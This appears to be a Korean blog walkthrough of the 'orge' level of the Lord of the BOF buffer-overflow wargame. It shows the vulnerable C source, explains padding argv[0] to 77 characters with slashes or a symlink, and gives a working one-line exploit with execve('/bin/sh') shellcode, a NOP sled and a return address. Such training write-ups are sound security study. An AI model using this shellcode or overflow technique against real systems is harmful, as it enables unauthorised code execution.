⊙ 문제의 소스를 보자) |
[darkelf@localhost darkelf]$ cat orge.c /* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40); } |
+ argv[0]의 길이를 77자로 맞추는 if문이 추가 되었습니다. |
* 이름 길이를 77자로 맞추는 것을 외에는 틀려진 점이 없습니다.
1) 이름길이를 77자로 맞추는법. |
① "./" 은 현재디렉토리를 의미하며 ".////" 이처럼 추가로 많이 와도 상관없습니다.
② 심볼릭 링크를 이용 (하드링크도 상관 없음) ("./"를 제외한 75자.) # ln orge -s $(python -c 'print "a"*75"') |
※ 그럼 이전과 같이 바로 확인 들어가 보도록 하죠.
$(python -c 'print "."+"/"*72 + "orge"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xb7\xfb\xff\xbf"') |
성공!!!
|
darkelf : "kernel crashed"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL9] troll -> vampire (check 0xbfff) (0) | 2011.06.05 |
---|---|
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL5] orc -> wolfman (egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |